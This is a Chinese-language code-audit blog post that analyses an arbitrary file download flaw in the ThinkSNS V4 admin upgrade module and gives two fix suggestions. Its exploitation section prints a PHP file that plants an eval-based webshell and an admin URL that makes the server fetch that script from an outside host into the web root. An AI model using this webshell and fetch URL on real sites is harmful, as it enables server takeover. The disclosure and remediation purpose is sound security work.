【代码审计】ThinkSNS_V4 任意文件下载漏洞分析

 

0x00 环境准备

ThinkSNS官网:http://www.thinksns.com

网站源码版本:ThinkSNS V4  更新时间:2017-09-13

程序源码下载:http://www.thinksns.com/experience.html(填写信息后,提交并下载代码)

默认后台:http://127.0.0.1/index.php?app=admin&mod=Public&act=login

默认用户:管理员帐号: admin@admin.com密码自设,大于6位

测试网站首页:

 

0x01 代码分析

1、        漏洞文件位置:

/apps/admin/Lib/Action/UpgradeAction.class.php 第168-189行:

 

在这段函数中,先备份老配置文件,然后下载增量包,下载参数$downUrl未经过任何处理,直接下载到网站目录下,接着验证hash判断包是否合法,但是并没有删除下载的增量包,导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

0x02 漏洞利用

1、第三方网站,新建一个evil.php,作为第三方源文件

  1. <?php   
  2. echo "<?php ";  
  3. echo "eval(file_get_contents('php://input'));";  
  4. echo "?>";  
  5. ?>  

2、        登录后台,通过访问构造的url,成功下载第三方源的恶意脚本文件。

http://127.0.0.1/index.php?app=admin&mod=Upgrade&act=step1&upurl=http://192.168.8.154/evil.php

 

3、        通过直接访问url,触发代码执行,成功获取网站服务器权限。

 

0x03 修复建议

1、        指定固定更新源,避免参数被用户可控;

2、        经过hash验证的包如果不合法,应立即删除。

 

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bypass--

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值